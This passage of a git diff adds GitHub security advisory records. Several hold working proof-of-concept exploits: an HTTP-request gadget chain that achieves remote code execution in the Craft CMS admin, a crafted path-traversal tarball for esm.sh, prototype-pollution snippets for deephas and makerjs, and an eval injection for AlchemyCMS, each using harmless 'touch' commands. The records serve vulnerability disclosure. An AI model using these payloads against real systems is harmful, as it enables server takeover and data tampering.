c3ace995f4d19645dc65b957cf54e92e_username=28fa03238cbef8d3f349cde0ed37d8c62118163d18695ccdb5feec2a05906303a%3A2%3A%7Bi%3A0%3Bs%3A41%3A%22c3ace995f4d19645dc65b957cf54e92e_username%22%3Bi%3A1%3Bs%3A5%3A%22admin%22%3B%7D; Craft-cd62f980-7ec7-4e9a-8d60-f781e5744a68:sidebar=expanded; Craft-cd62f980-7ec7-4e9a-8d60-f781e5744a68:sidebar-details=expanded\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nPriority: u=0\n\n{\"uid\":\"c295eb34-dd4c-42ac-8d07-1b8c872a126d\",\"layoutConfig\":{\"uid\":\"08ef66f3-f69e-495b-882f-56834efab200\",\"tabs\":[{\"name\":\"Content\",\"uid\":\"6f1efe1c-2de5-4783-ab39-7ff9149a9c90\",\"userCondition\":null,\"elementCondition\":null,\"elements\":[{\"type\":\"craft\\\\fieldlayoutelements\\\\TitleField\",\"inputType\":null,\"autocomplete\":false,\"class\":null,\"size\":null,\"name\":null,\"autocorrect\":true,\"autocapitalize\":true,\"disabled\":false,\"readonly\":false,\"title\":null,\"placeholder\":null,\"step\":null,\"min\":null,\"max\":null,\"requirable\":false,\"id\":null,\"containerAttributes\":[],\"inputContainerAttributes\":[],\"labelAttributes\":[],\"orientation\":null,\"label\":null,\"instructions\":null,\"tip\":null,\"warning\":null,\"providesThumbs\":false,\"includeInCards\":false,\"width\":100,\"dateAdded\":\"2025-11-19T06:33:18-08:00\",\"uid\":\"bae4dcd7-635b-41fe-96a3-4d3d69e91969\",\"userCondition\":null,\"elementCondition\":null},{\"type\":\"craft\\\\fieldlayoutelements\\\\CustomField\",\"handle\":null,\"label\":null,\"instructions\":null,\"tip\":null,\"warning\":null,\"required\":false,\"providesThumbs\":false,\"includeInCards\":false,\"width\":100,\"dateAdded\":null,\"uid\":\"c295eb34-dd4c-42ac-8d07-1b8c872a126d\",\"userCondition\":null,\"elementCondition\":null,\"fieldUid\":\"12ac060b-8c40-48a6-b70f-94361245b149\",\"editCondition\":null}]}],\"generatedFields\":[],\"cardView\":[],\"cardThumbAlignment\":\"end\",\"type\":\"craft\\\\elements\\\\Category\"},\"elementType\":\"craft\\\\elements\\\\Category\",\"config\":{\n \"as xxx\": {\n \"__class\": \"yii\\\\behaviors\\\\AttributeTypecastBehavior\",\n \"__construct()\": [\n {\n \"attributeTypes\": {\n \"typecastBeforeSave\": [\"Psy\\\\Readline\\\\Hoa\\\\ConsoleProcessus\", \"execute\"]\n },\n \"typecastBeforeSave\": \"touch /tmp/touch111\"\n }\n ]\n },\n \"on *\": \"self::beforeSave\"\n},\"settingsNamespace\":null,\"settings\":null}\n```\n\n**/index.php?p=admin%2Factions%2Ffields%2Frender-card-preview**\n\n```\nPOST /index.php?p=admin%2Factions%2Ffields%2Frender-card-preview&v=1763562868148 HTTP/1.1\nHost: 127.0.0.1:9090\nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:145.0) Gecko/20100101 Firefox/145.0\nAccept: application/json, text/plain, */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nReferer: http://127.0.0.1:9090/admin/settings/categories/new\nContent-Type: application/json\nX-Requested-With: XMLHttpRequest\nX-Registered-Asset-Bundles: 815d39ea,22e517a2,aee7f8dc,26c46c25,e505ffd6,6b4d7555,bb2f10a0,e5e48399,fc0bc163,1ccab40d,1e21896b,54698ee0,b842675b,1c3c9add,4b1fd285,d8d08e47,8f00ce04,8768f48b,cf3018d6,ec6d0256,eccadbb\nX-Registered-Js-Files: \nX-CSRF-Token: NElpp0FZTEyq2Yi4lyNbtvf5Qbtd3QIi8AUd4cJQjVKBFZrT8xSXNSuQHr269qyDYJm1hnoc98dlKRN1zAqj5r8hETtg8v1-rwd8YI-lJZxz_poluu6hCs2P6CRNu8yltOgF6vPsxT09sIund8NSBu4aocboYd0msvEcOWcT7sDsEWppVKyGSdPFMowzbbMBtBEwWz8F1AkjfAPB9NiL5HBs15C3LosCpHoXqEtehagy_Tfeff6QtVn8V1egfIjYz5jhAq6Btkklw6ZQESZG_z3F19sRKQwFxpgbzTZFULvHRKRDzP4XjYzHOKm5iR163amWgYw22pGIpA5f3_3LBIsoNqFxjJbbEo4R05ZSVldMl7jZSSQqMMbkObaaWuhwK_5q1m0B\nContent-Length: 424\nOrigin: http://127.0.0.1:9090\nConnection: keep-alive\nCookie: CraftSessionId=b8veo0jao7aso9f9sas5irahcc; CRAFT_CSRF_TOKEN=f0a58b5c53676765154b56f4434bf49b7adac3eee76250658acfbb63999e3103a%3A2%3A%7Bi%3A0%3Bs%3A16%3A%22CRAFT_CSRF_TOKEN%22%3Bi%3A1%3Bs%3A147%3A%22ovlsHz0Ok-P3sS7agNo0_yx5XNCdjbpe_hdCFMkb%7C0b5b94bb740394a585337f1d087e4eeb1904ba802d27bf2d6a97fe35d30bda3bovlsHz0Ok-P3sS7agNo0_yx5XNCdjbpe_hdCFMkb%7C1%22%3B%7D; c3ace995f4d19645dc65b957cf54e92e_identity=2c5abb45e65baee8d4fef5a873df2367ab1c42598a8937138bcba58593033d68a%3A2%3A%7Bi%3A0%3Bs%3A41%3A%22c3ace995f4d19645dc65b957cf54e92e_identity%22%3Bi%3A1%3Bs%3A162%3A%22%5B1%2C%22%5B%5C%22CdWbsSlpUey1DCRudhcod_xy0tXLc2oIHlOAeYLTAqOmF0rBIv2zaXQp4eg4AUBRc0qQr5G5wElj01yRXhojzuRZnPIW-GJqGo_U%5C%22%2Cnull%2C%5C%22961fe1815772f9207245de1a33ecd079%5C%22%5D%22%2C1209600%5D%22%3B%7D; c3ace995f4d19645dc65b957cf54e92e_username=28fa03238cbef8d3f349cde0ed37d8c62118163d18695ccdb5feec2a05906303a%3A2%3A%7Bi%3A0%3Bs%3A41%3A%22c3ace995f4d19645dc65b957cf54e92e_username%22%3Bi%3A1%3Bs%3A5%3A%22admin%22%3B%7D; Craft-cd62f980-7ec7-4e9a-8d60-f781e5744a68:sidebar=expanded; Craft-cd62f980-7ec7-4e9a-8d60-f781e5744a68:sidebar-details=expanded\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nPriority: u=0\n\n{\"fieldLayoutConfig\":{\n \"as xxx\": {\n \"__class\": \"yii\\\\behaviors\\\\AttributeTypecastBehavior\",\n \"__construct()\": [\n {\n \"attributeTypes\": {\n \"typecastBeforeSave\": [\"Psy\\\\Readline\\\\Hoa\\\\ConsoleProcessus\", \"execute\"]\n },\n \"typecastBeforeSave\": \"touch /tmp/touch222\"\n }\n ]\n },\n \"on *\": \"self::beforeSave\"\n},\"cardElements\":[],\"showThumb\":null,\"thumbAlignment\":\"end\"}\n```\n* Check the filesystem to confirm the creation of the two files in `/tmp` and hence confirm RCE:\n```\n$ ls -la /tmp/\n...\n-rw-rw-r-- 1 calum calum 0 Nov 19 16:05 touch111\n-rw-rw-r-- 1 calum calum 0 Nov 19 16:05 touch222\n```\n\n### Impact\n\nAn attacker with access to Craft CMS admin functionality, specifically the routes listed above, can trigger RCE on the backend server and potentially gain control of the server.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Packagist", + "name": "craftcms/cms" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "5.0.0-RC1" + }, + { + "fixed": "5.8.21" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 5.8.20" + } + }, + { + "package": { + "ecosystem": "Packagist", + "name": "craftcms/cms" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "4.0.0-RC1" + }, + { + "fixed": "4.16.17" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 4.16.16" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/craftcms/cms/security/advisories/GHSA-255j-qw47-wjh5" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68455" + }, + { + "type": "WEB", + "url": "https://github.com/craftcms/cms/commit/27f55886098b56c00ddc53b69239c9c9192252c7" + }, + { + "type": "WEB", + "url": "https://github.com/craftcms/cms/commit/6e608a1a5bfb36943f94f584b7548ca542a86fef" + }, + { + "type": "WEB", + "url": "https://github.com/craftcms/cms/commit/ec43c497edde0b2bf2e39a119cded2e55f9fe593" + }, + { + "type": "PACKAGE", + "url": "https://github.com/craftcms/cms" + }, + { + "type": "WEB", + "url": "https://github.com/craftcms/cms/blob/5.x/CHANGELOG.md#5821---2025-12-04" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-470" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2026-01-05T18:50:14Z", + "nvd_published_at": "2026-01-05T22:15:52Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-25mh-hp8x-cgrv/GHSA-25mh-hp8x-cgrv.json b/advisories/github-reviewed/2026/01/GHSA-25mh-hp8x-cgrv/GHSA-25mh-hp8x-cgrv.json new file mode 100644 index 0000000000000..dd92117c9d13b --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-25mh-hp8x-cgrv/GHSA-25mh-hp8x-cgrv.json @@ -0,0 +1,69 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-25mh-hp8x-cgrv", + "modified": "2026-01-27T21:29:13Z", + "published": "2026-01-26T21:30:36Z", + "aliases": [ + "CVE-2025-14525" + ], + "summary": "KubeVirt Guest Agent DoS via Excessive Network Interface Reports", + "details": "A flaw was found in KubeVirt. A user within a virtual machine (VM), if the guest agent is active, can exploit this by causing the agent to report an excessive number of network interfaces. This action can overwhelm the system's ability to store VM configuration updates, effectively blocking changes to the Virtual Machine Instance (VMI). This allows the VM user to restrict the VM administrator's ability to manage the VM, leading to a Denial of Dervice for administrative operations.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:L" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "kubevirt.io/kubevirt" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "last_affected": "1.7.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14525" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/security/cve/CVE-2025-14525" + }, + { + "type": "WEB", + "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2421360" + }, + { + "type": "PACKAGE", + "url": "https://github.com/kubevirt/kubevirt" + }, + { + "type": "WEB", + "url": "https://github.com/kubevirt/kubevirt/releases/tag/v1.7.0" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-770" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-01-27T21:29:13Z", + "nvd_published_at": "2026-01-26T20:16:08Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-2657-3c98-63jq/GHSA-2657-3c98-63jq.json b/advisories/github-reviewed/2026/01/GHSA-2657-3c98-63jq/GHSA-2657-3c98-63jq.json new file mode 100644 index 0000000000000..4de400a2e88b9 --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-2657-3c98-63jq/GHSA-2657-3c98-63jq.json @@ -0,0 +1,96 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-2657-3c98-63jq", + "modified": "2026-02-27T22:06:18Z", + "published": "2026-01-20T17:21:49Z", + "aliases": [ + "CVE-2026-23644" + ], + "summary": "esm.sh has a path traversal in extractPackageTarball enables file writes from malicious packages", + "details": "### Summary\n\nThe [commit](https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16) does not actually fix the path traversal bug. `path.Clean` basically normalizes a path but does not prevent absolute paths in a malicious tar file.\n\n### PoC\n\nThis test file can demonstrate the basic idea pretty easily:\n\n```go\npackage server\n\nimport (\n\t\"archive/tar\"\n\t\"bytes\"\n\t\"compress/gzip\"\n\t\"testing\"\n)\n\n// TestExtractPackageTarball_PathTraversal tests the extractPackageTarball function\n// with a malicious tarball containing a path traversal attempt\nfunc TestExtractPackageTarball_PathTraversal(t *testing.T) {\n\t// Create a temporary directory for testing\n\tinstallDir := \"./testdata/good\"\n\n\t// Create a malicious tarball with path traversal\n\tvar buf bytes.Buffer\n\tgw := gzip.NewWriter(&buf)\n\ttw := tar.NewWriter(gw)\n\n\t// Add a normal file\n\tcontent := []byte(\"export const foo = 'bar';\")\n\theader := &tar.Header{\n\t\tName: \"package/index.js\",\n\t\tMode: 0644,\n\t\tSize: int64(len(content)),\n\t\tTypeflag: tar.TypeReg,\n\t}\n\tif err := tw.WriteHeader(header); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif _, err := tw.Write(content); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\t// Add a malicious file with path traversal\n\tbad := []byte(\"bad\")\n\theader = &tar.Header{\n\t\tName: \"/../../../bad/bad.txt\",\n\t\tMode: 0644,\n\t\tSize: int64(len(bad)),\n\t\tTypeflag: tar.TypeReg,\n\t}\n\tif err := tw.WriteHeader(header); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif _, err := tw.Write(bad); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\ttw.Close()\n\tgw.Close()\n\n\t// Call extractPackageTarball with the malicious tarball\n\tif err := extractPackageTarball(installDir, \"test-package\", bytes.NewReader(buf.Bytes())); err != nil {\n\t\tt.Errorf(\"extractPackageTarball returned error: %v\", err)\n\t}\n}\n```\n\n### Impact\n\nIt, at the very least, seems to enable overwriting the esm.sh configuration file and poisoning cached packages.\n\nArbitrary file write _can_ lead to server-side code execution (e.g. Writing to cron files) but it may not be feasible for the default deployment configuration that is checked in. Whether some self-hosted configuration is modified to _enable_ code execution is unclear.\n\nThe limiting factors in the default setup that limit escalating this to code execution:\n\n - `extractPackageTarball` has a file-extension check which makes some more \"obvious\" escalations like overwriting binaries in `/esm/bin` (e.g. `deno`) impractical since it requires the target file to have an allowlisted extension.\n - Using the `Dockerfile` in the repo as a baseline for the typical setup: The binary does not run as root and, for the most part, can really only write to `/tmp` and it's home directory.\n - The deployment scripts do not seem to rely on executing potentially poisoned files in `/tmp.\n\n### Fix\n\nUsing [`os.Root`](https://go.dev/blog/osroot) seems like it will solve this issue and doesn't require new dependencies.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/esm-dev/esm.sh" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0.0.1" + }, + { + "last_affected": "136" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Go", + "name": "github.com/esm-dev/esm.sh" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.0.0-20260116051925-c62ab83c589e" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-2657-3c98-63jq" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23644" + }, + { + "type": "WEB", + "url": "https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16" + }, + { + "type": "WEB", + "url": "https://github.com/esm-dev/esm.sh/commit/c62ab83c589e7b421a0e1376d2a00a4e48161093" + }, + { + "type": "PACKAGE", + "url": "https://github.com/esm-dev/esm.sh" + }, + { + "type": "WEB", + "url": "https://pkg.go.dev/vuln/GO-2025-4138" + }, + { + "type": "WEB", + "url": "https://pkg.go.dev/vuln/GO-2026-4332" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-22" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2026-01-20T17:21:49Z", + "nvd_published_at": "2026-01-18T23:15:48Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-2733-6c58-pf27/GHSA-2733-6c58-pf27.json b/advisories/github-reviewed/2026/01/GHSA-2733-6c58-pf27/GHSA-2733-6c58-pf27.json new file mode 100644 index 0000000000000..e66799458874f --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-2733-6c58-pf27/GHSA-2733-6c58-pf27.json @@ -0,0 +1,65 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-2733-6c58-pf27", + "modified": "2026-02-27T20:45:38Z", + "published": "2026-01-29T22:21:32Z", + "aliases": [ + "CVE-2026-25047" + ], + "summary": "deepHas vulnerable to Prototype Pollution via constructor.prototype", + "details": "### Summary\nA prototype pollution vulnerability exists in version 1.0.7 of the deephas npm package that allows an attacker to modify global object behavior. This issue was fixed in version 1.0.8.\n\n### Details\nThe vulnerability resides in the `add()` function and `indexer()` function implemented within `deepHas.js`. Although version 1.0.7 attempts to prevent prototype pollution by checking property ownership (e.g., using Object.hasOwnProperty) and by checking against forbidden string usage (using String.prototype.indexOf), this check can be bypassed as shown in the PoC\n\nBy doing so, an attacker can inject properties into Object.prototype through a payload such as constructor.prototype.polluted or __proto__.polluted resulting in prototype pollution.\n\nThis issue affects all JavaScript runtimes that rely on npm packages (including Node.js, Deno, and Bun) and is independent of the operating system.\n\n### PoC\n#### Steps to reproduce\n1. Install version 1.0.7 of `deephas` using npm install\n2. Run one of the following code snippets:\n\n```javascript\n//PoC 1\nObject.prototype.hasOwnProperty = () => true;\nconsole.log({}.polluted);\nconst dh = require('deephas');\nlet obj = {};\ndh.set(obj, 'constructor.prototype.polluted', 'yes');\nconsole.log('{ ' + obj.polluted + ', ' + 'yes' + ' }'); // prints yes => the patch is bypassed and prototype pollution occurred\n```\nOR\n\n```javascript\n//PoC 2\nString.prototype.indexOf = () => -1;\nconsole.log({}.polluted);\nconst dh = require('deephas');\nlet obj = {};\ndh.set(obj, '__proto__.polluted', 'yes');\nconsole.log('{ ' + obj.polluted + ', ' + 'yes' + ' }'); // prints yes => the patch is bypassed and prototype pollution occurred\n```\n\n#### Expected behavior\nPrototype pollution should be prevented and {} should not gain new properties.\nThis should be printed on the console:\n```\nundefined\nundefined OR throw an Error\n```\n\n#### Actual behavior\nObject.prototype is polluted and the property polluted becomes globally accessible.\nThis is printed on the console:\n```\nundefined\nyes\n```\n\n### Impact\nThis is a prototype pollution vulnerability, which can have severe security implications depending on how deephas is used by downstream applications. Any application that processes attacker-controlled input using `deephas.set` may be affected.\nIt could potentially lead to the following problems:\n1. Authentication bypass\n2. Denial of service\n4. Remote code execution (if polluted property is passed to sinks like eval or child_process)", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "deephas" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "1.0.8" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/sharpred/deepHas/security/advisories/GHSA-2733-6c58-pf27" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25047" + }, + { + "type": "WEB", + "url": "https://github.com/sharpred/deepHas/commit/8097fafd3776c613d8066546653e0d2c7b5fc465" + }, + { + "type": "PACKAGE", + "url": "https://github.com/sharpred/deepHas" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-1321" + ], + "severity": "CRITICAL", + "github_reviewed": true, + "github_reviewed_at": "2026-01-29T22:21:32Z", + "nvd_published_at": "2026-01-29T22:15:55Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-273p-m2cw-6833/GHSA-273p-m2cw-6833.json b/advisories/github-reviewed/2026/01/GHSA-273p-m2cw-6833/GHSA-273p-m2cw-6833.json new file mode 100644 index 0000000000000..31c63d4ccdfd5 --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-273p-m2cw-6833/GHSA-273p-m2cw-6833.json @@ -0,0 +1,72 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-273p-m2cw-6833", + "modified": "2026-01-23T15:46:17Z", + "published": "2026-01-22T18:41:23Z", + "aliases": [ + "CVE-2026-23831" + ], + "summary": "Rekor's COSE v0.0.1 entry type nil pointer dereference in Canonicalize via empty Message", + "details": "## Summary\n\nRekor’s cose v0.0.1 entry implementation can panic on attacker-controlled input when canonicalizing a proposed entry with an empty `spec.message`. `validate()` returns nil (success) when `message` is empty, leaving `sign1Msg` uninitialized, and `Canonicalize()` later dereferences `v.sign1Msg.Payload`.\n\n## Impact\n\nA malformed proposed entry of the `cose/v0.0.1` type can cause a panic on a thread within the Rekor process. The thread is recovered so the client receives a 500 error message and service still continues, so the availability impact of this is minimal.\n\n## Patches\n\nUpgrade to v1.5.0\n\n## Workarounds\n\nNone", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/sigstore/rekor" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "1.5.0" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 1.4.3" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/sigstore/rekor/security/advisories/GHSA-273p-m2cw-6833" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23831" + }, + { + "type": "WEB", + "url": "https://github.com/sigstore/rekor/commit/39bae3d192bce48ef4ef2cbd1788fb5770fee8cd" + }, + { + "type": "PACKAGE", + "url": "https://github.com/sigstore/rekor" + }, + { + "type": "WEB", + "url": "https://github.com/sigstore/rekor/releases/tag/v1.5.0" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-476" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-01-22T18:41:23Z", + "nvd_published_at": "2026-01-22T22:16:19Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-2762-657x-v979/GHSA-2762-657x-v979.json b/advisories/github-reviewed/2026/01/GHSA-2762-657x-v979/GHSA-2762-657x-v979.json new file mode 100644 index 0000000000000..a915903e6bc6f --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-2762-657x-v979/GHSA-2762-657x-v979.json @@ -0,0 +1,100 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-2762-657x-v979", + "modified": "2026-02-02T14:44:59Z", + "published": "2026-01-21T01:04:32Z", + "aliases": [ + "CVE-2026-23885" + ], + "summary": "AlchemyCMS: Authenticated Remote Code Execution (RCE) via eval injection in ResourcesHelper", + "details": "### Summary\nA vulnerability was discovered during a manual security audit of the AlchemyCMS source code. The application uses the Ruby `eval()` function to dynamically execute a string provided by the `resource_handler.engine_name` attribute in `Alchemy::ResourcesHelper#resource_url_proxy`.\n\n### Details\nThe vulnerability exists in `app/helpers/alchemy/resources_helper.rb` at line 28. The code explicitly bypasses security linting with `# rubocop:disable Security/Eval`, indicating that the use of a dangerous function was known but not properly mitigated. \n\nSince `engine_name` is sourced from module definitions that can be influenced by administrative configurations, it allows an authenticated attacker to escape the Ruby sandbox and execute arbitrary system commands on the host OS.\n\nBut, for this attack to be possible local file access to the alchemy project or the source on a remote server is necessary in order to manipulate the module config file, though.\n\n### PoC (Proof of Concept)\nThe following standalone Ruby script demonstrates that the `eval` sink is directly exploitable:\n\n```ruby\nrequire 'ostruct'\n\ndef resource_url_proxy(resource_handler)\n if resource_handler.engine_name && !resource_handler.engine_name.empty?\n eval(resource_handler.engine_name)\n end\nend\n\n# Payload to create a file in /tmp directory\npayload = \"system('touch /tmp/alchemy_rce_verified'); 'main_app'\"\nhandler = OpenStruct.new(engine_name: payload)\n\nresource_url_proxy(handler)\n\nif File.exist?('/tmp/alchemy_rce_verified')\n puts \"RCE Verified: Command executed successfully.\"\nend\n```\n\n\n\"Screenshot", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "RubyGems", + "name": "alchemy_cms" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "7.4.12" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "RubyGems", + "name": "alchemy_cms" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "8.0.0.a" + }, + { + "fixed": "8.0.3" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/AlchemyCMS/alchemy_cms/security/advisories/GHSA-2762-657x-v979" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23885" + }, + { + "type": "WEB", + "url": "https://github.com/AlchemyCMS/alchemy_cms/commit/55d03ec600fd9e07faae1138b923790028917d26" + }, + { + "type": "WEB", + "url": "https://github.com/AlchemyCMS/alchemy_cms/commit/563c4ce45bf5813b7823bf3403ca1fc32cb769e7" + }, + { + "type": "PACKAGE", + "url": "https://github.com/AlchemyCMS/alchemy_cms" + }, + { + "type": "WEB", + "url": "https://github.com/AlchemyCMS/alchemy_cms/releases/tag/v7.4.12" + }, + { + "type": "WEB", + "url": "https://github.com/AlchemyCMS/alchemy_cms/releases/tag/v8.0.3" + }, + { + "type": "WEB", + "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/alchemy_cms/CVE-2026-23885.yml" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-95" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-01-21T01:04:32Z", + "nvd_published_at": "2026-01-19T22:16:02Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-2cp6-34r9-54xx/GHSA-2cp6-34r9-54xx.json b/advisories/github-reviewed/2026/01/GHSA-2cp6-34r9-54xx/GHSA-2cp6-34r9-54xx.json new file mode 100644 index 0000000000000..940945dea7ddb --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-2cp6-34r9-54xx/GHSA-2cp6-34r9-54xx.json @@ -0,0 +1,72 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-2cp6-34r9-54xx", + "modified": "2026-01-29T15:18:33Z", + "published": "2026-01-29T15:18:33Z", + "aliases": [ + "CVE-2026-24888" + ], + "summary": "Maker.js has Unsafe Property Copying in makerjs.extendObject", + "details": "### Summary\nThe `makerjs.extendObject` function copies properties from source objects without proper validation, potentially exposing applications to security risks. The function lacks `hasOwnProperty()` checks and does not filter dangerous keys, allowing inherited properties and potentially malicious properties to be copied to target objects.\n\n### Details\nThe `extendObject` function iterates over source object properties using a `for...in` loop without:\n1. Checking `hasOwnProperty()` to exclude inherited properties\n2. Filtering dangerous keys (`__proto__`, `constructor`, `prototype`)\n3. Validating property sources\n\n### Affected Code\n\n**File**: https://github.com/microsoft/maker.js/blob/98cffa82a372ff942194c925a12a311253587167/packages/maker.js/src/core/maker.ts#L232-L241\n\n\n\n### PoC\n```javascript\nconst makerjs = require('makerjs');\n\nconst source = { __proto__: { name: 'Ravi', isAdmin: true } };\nconst target = { name: 'user' };\nconst result = makerjs.extendObject(target, source);\n\nconsole.log(result.name); // Ravi\nconsole.log(result.isAdmin); // true\n```\n\n\n### Impact\n### Security Implications\n\n1. **Unexpected Behavior**: Properties may appear on target objects but not be own properties, breaking `hasOwnProperty()` assumptions in security-sensitive code.\n\n2. **Security Bypass Risk**: Code relying on `hasOwnProperty()` for validation could be bypassed.\n\n3. **Future Risk**: Lack of dangerous key filtering (`__proto__`, `constructor`, `prototype`) exposes potential attack vectors.\n\n### Affected Use Cases\n\n- Extending objects from user input or external APIs\n- Merging options from untrusted sources", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "makerjs" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.19.2" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 0.19.1" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/microsoft/maker.js/security/advisories/GHSA-2cp6-34r9-54xx" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24888" + }, + { + "type": "WEB", + "url": "https://github.com/microsoft/maker.js/commit/85e0f12bd868974b891601a141974f929dec36b8" + }, + { + "type": "PACKAGE", + "url": "https://github.com/microsoft/maker.js" + }, + { + "type": "WEB", + "url": "https://github.com/microsoft/maker.js/blob/98cffa82a372ff942194c925a12a311253587167/packages/maker.js/src/core/maker.ts#L232-L241" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-1321" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-01-29T15:18:33Z", + "nvd_published_at": "2026-01-28T22:15:56Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-2g22-wg49-fgv5/GHSA-2g22-wg49-fgv5.json 